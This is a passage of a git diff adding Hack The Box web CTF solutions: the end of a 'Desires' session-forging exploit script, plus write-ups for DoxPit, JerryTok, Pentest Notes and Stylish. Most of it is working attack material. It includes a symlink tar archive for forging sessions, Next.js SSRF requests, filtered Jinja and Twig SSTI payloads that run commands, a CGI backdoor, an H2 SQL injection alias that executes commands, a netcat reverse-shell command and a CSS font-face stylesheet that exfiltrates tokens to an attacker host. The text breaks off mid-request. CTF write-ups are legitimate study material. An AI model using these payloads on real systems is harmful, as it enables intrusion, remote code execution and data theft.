+ with tarfile.open(self.archive_name, "w") as tar:
+ symlink_info = tarfile.TarInfo(name=self.symlink_name)
+ symlink_info.type = tarfile.SYMTYPE
+ symlink_info.linkname = "/tmp/sessions/test/"
+ tar.addfile(symlink_info)
+
+ current_ts = int(time.time())
+ # Create a range of session IDs to cover potential time skews
+ for i in range(self.session_id_count):
+ ts = current_ts - self.session_id_count // 2 + i # creates session_id range around current time
+ predicted_session_id = self.predict_session_id(ts)
+
+ # Exclude specified session ID
+ if self.exclude_session_id and predicted_session_id == self.exclude_session_id:
+ print(f"[-] Excluding session ID: {predicted_session_id}")
+ continue
+
+ # Append session ID to the global list
+ DesiresExploit.session_id_list.append(predicted_session_id)
+
+ payload_info = tarfile.TarInfo(name=f"{self.symlink_name}/{predicted_session_id}")
+ payload_info.size = len(admin_session_json)
+ tar.addfile(payload_info, io.BytesIO(admin_session_json.encode('utf-8')))
+
+ print(f"[+] Created malicious archive {self.archive_name} with {self.session_id_count} session IDs")
+ return True
+ except Exception as e:
+ print(f"[-] Error creating archive: {e}")
+ return False
+
+ def upload_archive(self) -> bool:
+ """Upload the archive using the stored cookies"""
+ try:
+ headers = {
+ "User-Agent": "Firefox",
+ "Origin": self.target_url,
+ "Referer": f"{self.target_url}/user/upload"
+ }
+
+ with open(self.archive_name, 'rb') as f:
+ files = {'archive': (self.archive_name, f, 'application/x-tar')}
+ response = requests.post(
+ self.upload_url,
+ files=files,
+ cookies=self.cookies,
+ headers=headers,
+ proxies=self.proxy,
+ verify=False
+ )
+ if response.status_code == 202 or response.status_code == 500:
+ print("[+] Archive uploaded successfully")
+ return True
+ else:
+ print(f"[-] Upload failed: {response.status_code} {response.text}")
+ return False
+ except Exception as e:
+ print(f"[-] Upload error: {e}")
+ return False
+
+ def login_with_wrong_password(self, username: str):
+ headers = {
+ "User-Agent": "Firefox",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Origin": self.target_url,
+ "Connection": "keep-alive",
+ "Referer": f"{self.target_url}/",
+ }
+
+ data = {
+ "username": username,
+ "password": "wrongpassword"
+ }
+
+ response = requests.post(
+ f"{self.target_url}/login",
+ data=data,
+ cookies=None,
+ headers=headers,
+ proxies=self.proxy,
+ verify=False
+ )
+ if response.status_code == 400:
+ print("[+] Login attempt with wrong password done")
+ else:
+ print(f"Something went wrong: {response.status_code}")
+
+ def access_admin(self, predicted_session_id: str, username: str) -> bool:
+ """Attempt to access admin endpoint and return True if flag is found"""
+ headers = {
+ "User-Agent": "Firefox"
+ }
+
+ cookies = {self.session_cookie_name: predicted_session_id, self.username_cookie_name: username}
+ response = requests.get(
+ f"{self.target_url}/user/admin",
+ cookies=cookies,
+ headers=headers,
+ proxies=self.proxy,
+ verify=False
+ )
+ if "HTB{" in response.text:
+ flag_line = next((line for line in response.text.splitlines() if "HTB{" in line), None)
+ if flag_line:
+ print("[+] Flag found:")
+ print(flag_line)
+ return True
+ return False
+
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description='Desires HTB Challenge Exploit')
+ parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://hackthebox.com:1337)')
+ parser.add_argument('-u', '--username', default='test', help='Username to register and use (default: test)')
+ parser.add_argument('-p', '--password', default='test', help='Password to use (default: test)')
+ parser.add_argument('--proxy', help='Burp Suite proxy address (e.g., http://127.0.0.1:8080)')
+ parser.add_argument('--session-count', type=int, default=1000, help='Number of session IDs to generate (default: 1000)')
+
+ args = parser.parse_args()
+
+ # Configure proxy if provided
+ burp_proxy = None
+ if args.proxy:
+ burp_proxy = {
+ "http": args.proxy,
+ "https": args.proxy
+ }
+ print(f"[*] Using proxy: {args.proxy}")
+
+ # Create exploit object
+ exploit = DesiresExploit(
+ target_url=args.target,
+ proxy=burp_proxy,
+ session_id_count=args.session_count
+ )
+
+ print(f"[*] Target URL: {args.target}")
+ print(f"[*] Username: {args.username}")
+ print(f"[*] Session count: {args.session_count}")
+
+ # Step 1: Register user
+ if not exploit.register_user(args.username, args.password):
+ exit(1)
+
+ # Step 2: Login and get session cookies
+ if not exploit.login_user(args.username, args.password):
+ exit(1)
+
+ # Set exclude session ID after login
+ EXCLUDE_SESSION_ID = exploit.cookies.get(exploit.session_cookie_name)
+ exploit.exclude_session_id = EXCLUDE_SESSION_ID
+
+ admin_session_json = f'{{"username":"{args.username}","id":1,"role":"admin"}}'
+
+ if exploit.create_malicious_archive(admin_session_json):
+ print("[*] Session IDs created:")
+ if exploit.upload_archive():
+ print("[*] Uploaded payload. Now you must try log in with a wrong password to exploit the web app...")
+ time.sleep(1)
+ print("Log in to the web app with wrong credentials")
+ exploit.login_with_wrong_password(args.username)
+ time.sleep(1)
+ print("[*] Trying to access admin with predicted session IDs...")
+ for session_id in DesiresExploit.session_id_list:
+ if exploit.access_admin(session_id, args.username):
+ print("[+] Exploit completed successfully!")
+ exit(0)
+
+ print("[-] Failed to find flag with any session ID")
+ else:
+ print("[-] Upload failed")
diff --git a/CTF/web/DoxPit/Readme.md b/CTF/web/DoxPit/Readme.md
new file mode 100644
index 0000000..edef703
--- /dev/null
+++ b/CTF/web/DoxPit/Readme.md
@@ -0,0 +1,180 @@
+# Challenge: DoxPit
+## Rate: Medium
+
+The WebApp is using Next.js version 14.1.0 which has [CVE-2024-34351](https://www.assetnote.io/resources/research/advisory-next-js-ssrf-cve-2024-34351).
+
+
+
+So we can perform an SSRF attack.
+
+```
+POST / HTTP/1.1
+Host: attacker.com
+Content-Length: 2
+Accept: text/x-component
+Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
+Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.9
+Connection: keep-alive
+
+[]
+```
+
+If we analyze the source code, there are two projects that exist in the folder. The `av` is written with Flask and is only accessible from local.
+
+
+
+Examining more of this project we can see some routes: `/`, `/home`, `/register`, `/login`, `/logout`
+
+- `routes.py`:
+
+ ```python
+ # more ...
+
+ def auth_middleware(func):
+ def check_user(*args, **kwargs):
+ db_session = Database()
+
+ if not session.get("loggedin"):
+ if request.args.get("token") and db_session.check_token(request.args.get("token")):
+ return func(*args, **kwargs)
+ else:
+ return redirect("/login")
+
+ return func(*args, **kwargs)
+
+ check_user.__name__ = func.__name__
+ return check_user
+
+
+ @web.route("/", methods=["GET"])
+ def index():
+ return redirect("/home")
+
+ # more ...
+
+ @web.route("/login", methods=["GET"])
+ def login():
+ username = request.args.get("username")
+ password = request.args.get("password")
+
+ # more ...
+
+ @web.route("/register", methods=["GET"])
+ def register():
+ username = request.args.get("username")
+ password = request.args.get("password")
+
+ # more ...
+ ```
+
+
+Now after examining the detailed [exploit of CVE-2024-34351](https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps), we are able to send a request to the Flask web app by the below scenario:
+
+1. `flaskRedirect.py`
+
+ ```python
+ from flask import Flask, Response, request, redirect
+ app = Flask(__name__)
+
+ @app.route('/', defaults={'path': ''})
+ @app.route('/')
+ def catch(path):
+ if request.method == 'HEAD':
+ resp = Response("")
+ resp.headers['Content-Type'] = 'text/x-component'
+ return resp
+ return redirect('http://0.0.0.0:3000/register?username=new&password=new')
+
+ app.run(host="0.0.0.0", port=1234, threaded=True, debug=True)
+ ```
+
+2. Host the `flaskRedirect.py` on your controlled server.
+3. Send this request:
+
+ ```
+ POST / HTTP/1.1
+ Host: yourserver.com:1234
+ Content-Length: 2
+ Accept: text/x-component
+ Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
+ Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
+ Accept-Encoding: gzip, deflate, br
+ Accept-Language: en-US,en;q=0.9
+ Connection: keep-alive
+
+ []
+ ```
+
+
+After sending this request a user is created for you. Here is the response of the Web App:
+
+
+
+Now we have the token and have access to all routes.
+
+
+
+
+
+As we can see the code is loading files using Jinja templates. so we can try SSTI.
+
+
+
+But here’s the thing. There are some preventions in these files that limit us from performing SSTI attacks. So we can not use `{{`, `}}`, `.`, `_`, `[`, `]`, `\`, `x` in our payload.
+
+Looking at common payloads in [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti), we can easily find this payload:
+
+```python
+{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
+```
+
+The only problem with the above payload is it uses `\` but we can not use it because it’s forbidden.
+
+If we research about different payload structures in Jinja, we can find these things that work:
+
+```python
+{%with a=((((request|attr("application"))|attr(request|attr("args")|attr("get")("globals")))|attr(request|attr("args")|attr("get")("getitem")))(request|attr("args")|attr("get")("builtins"))|attr(request|attr("args")|attr("get")("getitem")))(request|attr("args")|attr("get")("import"))("os")|attr("popen")(request|attr("args")|attr("get")("cmd"))|attr("read")()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=cat /flag*
+```
+
+Now modify `flaskRedirect.py` again:
+
+```python
+from flask import Flask, Response, request, redirect
+app = Flask(__name__)
+
+@app.route('/', defaults={'path': ''})
+@app.route('/')
+def catch(path):
+ if request.method == 'HEAD':
+ resp = Response("")
+ resp.headers['Content-Type'] = 'text/x-component'
+ return resp
+ return redirect('http://0.0.0.0:3000/home?token=56021495728f15002281f3999bb6f204&directory={%with a=((((request|attr("application"))|attr(request|attr("args")|attr("get")("globals")))|attr(request|attr("args")|attr("get")("getitem")))(request|attr("args")|attr("get")("builtins"))|attr(request|attr("args")|attr("get")("getitem")))(request|attr("args")|attr("get")("import"))("os")|attr("popen")(request|attr("args")|attr("get")("cmd"))|attr("read")()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=cat /flag*')
+
+app.run(host="0.0.0.0", port=1234, threaded=True, debug=True)
+```
+
+Send the request again:
+
+```
+POST / HTTP/1.1
+Host: yourserver.com:1234
+Content-Length: 2
+Accept: text/x-component
+Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
+Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.9
+Connection: keep-alive
+
+[]
+```
+
+And get the Flag:
+
+
diff --git a/CTF/web/DoxPit/directory1.png b/CTF/web/DoxPit/directory1.png
new file mode 100644
index 0000000..ea249c6
Binary files /dev/null and b/CTF/web/DoxPit/directory1.png differ
diff --git a/CTF/web/DoxPit/directory2.png b/CTF/web/DoxPit/directory2.png
new file mode 100644
index 0000000..93ef928
Binary files /dev/null and b/CTF/web/DoxPit/directory2.png differ
diff --git a/CTF/web/DoxPit/flag.png b/CTF/web/DoxPit/flag.png
new file mode 100644
index 0000000..b4a7dad
Binary files /dev/null and b/CTF/web/DoxPit/flag.png differ
diff --git a/CTF/web/DoxPit/flask.png b/CTF/web/DoxPit/flask.png
new file mode 100644
index 0000000..8b42072
Binary files /dev/null and b/CTF/web/DoxPit/flask.png differ
diff --git a/CTF/web/DoxPit/invalid-chars.png b/CTF/web/DoxPit/invalid-chars.png
new file mode 100644
index 0000000..c0066a0
Binary files /dev/null and b/CTF/web/DoxPit/invalid-chars.png differ
diff --git a/CTF/web/DoxPit/nextjs.png b/CTF/web/DoxPit/nextjs.png
new file mode 100644
index 0000000..d6d08f3
Binary files /dev/null and b/CTF/web/DoxPit/nextjs.png differ
diff --git a/CTF/web/DoxPit/token.png b/CTF/web/DoxPit/token.png
new file mode 100644
index 0000000..e827fdd
Binary files /dev/null and b/CTF/web/DoxPit/token.png differ
diff --git a/CTF/web/JerryTok/Readme.md b/CTF/web/JerryTok/Readme.md
new file mode 100644
index 0000000..dc5ec15
--- /dev/null
+++ b/CTF/web/JerryTok/Readme.md
@@ -0,0 +1,138 @@
+# Challenge: JerryTok
+## Rate: Medium
+
+Analyzing the source code:
+
+- `DefaultController.php`
+
+ ```bash
+ get('location');
+
+ ...
+
+ $message = $this->container->get('twig')->createTemplate(
+ "Located at: {$location} from your ship's computer"
+ )
+ ->render();
+ ...
+ ```
+
+
+Simple SSTI - `http://?location={{7*7}}`
+
+```php
+{{7*7}}
+```
+
+- Disabled Functions:
+
+ ```bash
+ echo "disable_functions = exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create, mail" >> /etc/php82/conf.d/disablefns.ini
+ ```
+
+
+We can use `file_get_contents` and `file_put_contents` functions to bypass these limitations.
+
+File Read:
+
+```php
+{{['file:///www/src/Controller/DefaultController.php']|map('file_get_contents')|join}}
+```
+
+Binary File Read:
+
+```php
+{{['php://filter/convert.base64-encode/resource=/www/src/Controller/DefaultController.php']|map('file_get_contents')|join}}
+```
+
+PHP Info Write:
+
+```php
+{{['/www/public/info.php',"> /etc/php82/conf.d/openbdir.ini
+```
+
+Overwrite `.htaccess` and add an exception for CGI files to bypass `open_basedir` limitation:
+
+```bash
+Options ExecCGI
+AddHandler cgi-script .test
+```
+
+```bash
+%7B%7B%5B'/www/public/.htaccess',%22Options%20+ExecCGI%0AAddHandler%20cgi-script%20.test%0A%22%5D%7Csort('file_put_contents')%7D%7D
+
+{{['/www/public/.htaccess',"Options%20+ExecCGI%0AAddHandler%20cgi-script%20.test%0A"]|sort('file_put_contents')}}
+```
+
+Create `shell.test`
+
+```bash
+#!/bin/sh\necho&&echo ID:;id;echo FLAG;/readflag
+```
+
+```php
+{{['/www/public/shell.test',"%23%21%2Fbin%2Fsh%5Cnecho%26%26echo%20ID%3A%3Bid%3Becho%20FLAG%3B%2Freadflag%0A"]|sort('file_put_contents')}}
+```
+
+`Chmod 551 shell.test`
+
+```php
+{{['/www/public/shell.test',511]|sort('chmod')}}
+```
+
+Call CGI
+
+```bash
+curl http://127.0.0.1/shell.test
+```
+
+Exploit:
+
+```python
+import requests
+import urllib.parse
+import argparse
+
+def exploit_ssti(payload):
+ ssti_url = f"{url}?location={payload}"
+ return requests.get(ssti_url)
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser(
+ prog='mb_send_mail_xpl',
+ description='Exploit solution for HTB challenge JerryTok')
+ parser.add_argument('-u', '--url', default='http://127.0.0.1:1337', help='Target URL.')
+ parser.add_argument('-c', '--command', default='id', help='Command to execute on target.')
+ args = parser.parse_args()
+ url = args.url
+ command = args.command
+
+ htaccess = """Options +ExecCGI\nAddHandler cgi-script .test\n"""
+ payload = f"{{{{['/www/public/.htaccess','{htaccess}']|sort('file_put_contents')}}}}"
+ exploit_ssti(payload)
+
+ cgi_backdoor = urllib.parse.quote(f"#!/bin/sh\n\necho&&{command}")
+ payload = f"{{{{['/www/public/shell.test','{cgi_backdoor}']|sort('file_put_contents')}}}}"
+ exploit_ssti(payload)
+
+ payload = "{{['/www/public/shell.test',511]|sort('chmod')}}"
+ exploit_ssti(payload)
+
+ response = requests.get(f"{url}/shell.test")
+ print(response.text)
+```
+
+```bash
+python3 exploit-jerryTok.py --url http://: --command "nc 1234 -e /bin/sh"
+```
+
+
diff --git a/CTF/web/JerryTok/Screenshot 2024-08-18 114215.png b/CTF/web/JerryTok/Screenshot 2024-08-18 114215.png
new file mode 100644
index 0000000..7f62917
Binary files /dev/null and b/CTF/web/JerryTok/Screenshot 2024-08-18 114215.png differ
diff --git a/CTF/web/Pentest Notes/Readme.md b/CTF/web/Pentest Notes/Readme.md
new file mode 100644
index 0000000..ecdaedc
--- /dev/null
+++ b/CTF/web/Pentest Notes/Readme.md
@@ -0,0 +1,45 @@
+# Challenge: Pentest Notes
+## Rate: Easy
+
+The vulnerable code in the web application processes the `name` parameter by using the `String.format()` method to build a SQL query:
+
+```java
+String query = String.format("Select * from notes where name ='%s' ", name);
+```
+
+This allows an attacker to inject arbitrary SQL, potentially altering the query logic to execute additional commands. The application also contains restrictions on characters like `$` and strings like `concat`, but these restrictions can be bypassed.
+
+### Exploiting the Vulnerability:
+
+1. **Bypassing Restrictions**:
+ - The vulnerability in the `name` parameter allows attackers to inject SQL statements.
+ - We exploit this by terminating the current query with a semicolon (`';`) and injecting a `CREATE ALIAS` statement that defines a custom function to execute system commands.
+ - The `CREATE ALIAS` statement avoids the use of restricted characters like `$` and `concat`.
+2. **Payload to Create Alias**:
+The first part of the attack creates a custom Java alias that runs system commands using `Runtime.getRuntime().exec()`. This alias, named `REVEXEC`, executes any command passed to it.
+
+ **Payload**:
+
+ ```sql
+ '; CREATE ALIAS REVEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}';--
+ ```
+
+ This payload successfully creates an alias `REVEXEC` that can execute system commands, such as listing directory contents or reading files.
+
+
+Once the `REVEXEC` alias is created, we can execute arbitrary commands by calling the `shellexec` function with different arguments.
+
+1. **Listing System Directories**:
+To list directories on the system, we inject the following payload:
+
+ ```sql
+ pwn' UNION SELECT 1, 2, REVEXEC('ls /') --
+ ```
+
+ - `REVEXEC` is the name of the function we use to execute commands, and `ls /` lists the contents of the root directory.
+2. **Reading a Flag File**:
+To retrieve the contents of the flag file, we use:
+
+ ```sql
+ pwn' UNION SELECT 1, 2, REVEXEC('cat /randomChar_flag.txt') --
+ ```
diff --git a/CTF/web/Stylish/Readme.md b/CTF/web/Stylish/Readme.md
new file mode 100644
index 0000000..59f846a
--- /dev/null
+++ b/CTF/web/Stylish/Readme.md
@@ -0,0 +1,517 @@
+# Challenge: Stylish
+## Rate: Medium
+
+Analyzing the source code:
+
+```jsx
+app.use(function(req, res, next) {
+ res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; img-src 'self'; style-src 'self'; font-src 'self' *;")
+ next();
+});
+```
+
+`font-src 'self' *;`: Allowing fonts from any origin (`'*'`) increases the risk of CSS-based attacks if an attacker can control the source of the fonts. Malicious fonts could be used to execute CSS-based attacks.
+
+CSS Injection:
+
+```css
+@font-face {
+ font-family: poc;
+ src: url('https://q90u490hv2bsho9zv9uzkwczyq4hs7gw.oastify.com/?data');
+}
+
+body:has(p[id="approvalToken"]) {
+ font-family: poc;
+}
+```
+
+Since `{{ approvalToken }}
` has a `d-none` class, the bot cannot see the Token. So we should get rid of it by using `display: block !important;`
+
+
+
+ Exfiltrate the `approvalToken` via CSS Injection:
+
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?a);
+ unicode-range: U+0061; /* Character 'a' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?b);
+ unicode-range: U+0062; /* Character 'b' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?c);
+ unicode-range: U+0063; /* Character 'c' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?d);
+ unicode-range: U+0064; /* Character 'd' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?e);
+ unicode-range: U+0065; /* Character 'e' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?f);
+ unicode-range: U+0066; /* Character 'f' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?g);
+ unicode-range: U+0067; /* Character 'g' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?h);
+ unicode-range: U+0068; /* Character 'h' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?i);
+ unicode-range: U+0069; /* Character 'i' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?j);
+ unicode-range: U+006A; /* Character 'j' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?k);
+ unicode-range: U+006B; /* Character 'k' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?l);
+ unicode-range: U+006C; /* Character 'l' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?m);
+ unicode-range: U+006D; /* Character 'm' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?n);
+ unicode-range: U+006E; /* Character 'n' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?o);
+ unicode-range: U+006F; /* Character 'o' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?p);
+ unicode-range: U+0070; /* Character 'p' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?q);
+ unicode-range: U+0071; /* Character 'q' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?r);
+ unicode-range: U+0072; /* Character 'r' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?s);
+ unicode-range: U+0073; /* Character 's' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?t);
+ unicode-range: U+0074; /* Character 't' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?u);
+ unicode-range: U+0075; /* Character 'u' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?v);
+ unicode-range: U+0076; /* Character 'v' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?w);
+ unicode-range: U+0077; /* Character 'w' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?x);
+ unicode-range: U+0078; /* Character 'x' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?y);
+ unicode-range: U+0079; /* Character 'y' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?z);
+ unicode-range: U+007A; /* Character 'z' */
+ }
+
+ /* Uppercase Letters (A to Z) */
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?A);
+ unicode-range: U+0041; /* Character 'A' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?B);
+ unicode-range: U+0042; /* Character 'B' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?C);
+ unicode-range: U+0043; /* Character 'C' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?D);
+ unicode-range: U+0044; /* Character 'D' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?E);
+ unicode-range: U+0045; /* Character 'E' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?F);
+ unicode-range: U+0046; /* Character 'F' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?G);
+ unicode-range: U+0047; /* Character 'G' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?H);
+ unicode-range: U+0048; /* Character 'H' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?I);
+ unicode-range: U+0049; /* Character 'I' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?J);
+ unicode-range: U+004A; /* Character 'J' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?K);
+ unicode-range: U+004B; /* Character 'K' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?L);
+ unicode-range: U+004C; /* Character 'L' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?M);
+ unicode-range: U+004D; /* Character 'M' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?N);
+ unicode-range: U+004E; /* Character 'N' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?O);
+ unicode-range: U+004F; /* Character 'O' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?P);
+ unicode-range: U+0050; /* Character 'P' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?Q);
+ unicode-range: U+0051; /* Character 'Q' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?R);
+ unicode-range: U+0052; /* Character 'R' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?S);
+ unicode-range: U+0053; /* Character 'S' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?T);
+ unicode-range: U+0054; /* Character 'T' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?U);
+ unicode-range: U+0055; /* Character 'U' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?V);
+ unicode-range: U+0056; /* Character 'V' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?W);
+ unicode-range: U+0057; /* Character 'W' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?X);
+ unicode-range: U+0058; /* Character 'X' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?Y);
+ unicode-range: U+0059; /* Character 'Y' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?Z);
+ unicode-range: U+005A; /* Character 'Z' */
+ }
+
+ /* Numbers (0 to 9) */
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?0);
+ unicode-range: U+0030; /* Character '0' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?1);
+ unicode-range: U+0031; /* Character '1' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?2);
+ unicode-range: U+0032; /* Character '2' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?3);
+ unicode-range: U+0033; /* Character '3' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?4);
+ unicode-range: U+0034; /* Character '4' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?5);
+ unicode-range: U+0035; /* Character '5' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?6);
+ unicode-range: U+0036; /* Character '6' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?7);
+ unicode-range: U+0037; /* Character '7' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?8);
+ unicode-range: U+0038; /* Character '8' */
+ }
+
+ @font-face {
+ font-family: poc;
+ src: url(http://your_server_ip/?9);
+ unicode-range: U+0039; /* Character '9' */
+ }
+
+ .d-none {
+ display: block !important;
+ }
+ #approvalToken{
+ font-family: poc;
+ }
+
+
+Now we have achieved the token characters are not sorted.
+
+- `TokenHelper.js`
+
+ ```jsx
+ generateToken() {
+ const dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+ const shuffle = v=>[...v].sort(_=>Math.random()-.5).join('');
+
+ // Shuffle characters and sort them in ASCII order
+ return shuffle(dict).substring(0, 32).split('').sort().join('');
+ }
+ ```
+
+
+Token pattern: ``
+
+CSS Injection for approving the post:
+
+```css
+@font-face {
+ font-family: poc;
+ src: url('http://localhost:1337/approve/1/2368BCEFGHLNOPRSTVYdeklmoqstuwyz');
+}
+
+body:has(p[id="approvalToken"]) {
+ font-family: poc;
+}
+```
+
+Submit a comment:
+
+```
+POST /api/comment/submit HTTP/1.1
+Host: challengeIP:PORT
+Content-Length: 43
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Content-Type: application/json
+Origin: http://challengeIP:PORT
+Referer: http://challengeIP:PORT/
+Connection: close
+
+{"submissionID":1,"commentContent": "test"}
+```
+
+SQLI vulnerability in source code:
+
+- `comment.js`
+
+ ```jsx
+ //...
+
+ fetch('/api/comment/entries', {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ body: JSON.stringify({submissionID: submissionID, pagination: pagination}),
+ })
+
+ //...
+ ```
+
+- `database.js`
+
+ ```jsx
+ //...
+
+ async getSubmissionComments(submissionID, pagination=10) {
+ return new Promise(async (resolve, reject) => {
+ try {
+ const stmt = `SELECT content FROM comments WHERE id_submission = ${submissionID} LIMIT ${pagination}`;
+ resolve(await this.db.all(stmt));
+ } catch(e) {
+ reject(e);
+ }
+ });
+ }
+
+ //...
+ ```
+
+
+SQLI via `pagination` parameter:
+
+```
+POST /api/comment/entries HTTP/1.1
+Host: challengeIP:PORT
+Content-Length: 45
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Content-Type: application/json
+Origin: http://challengeIP:PORT
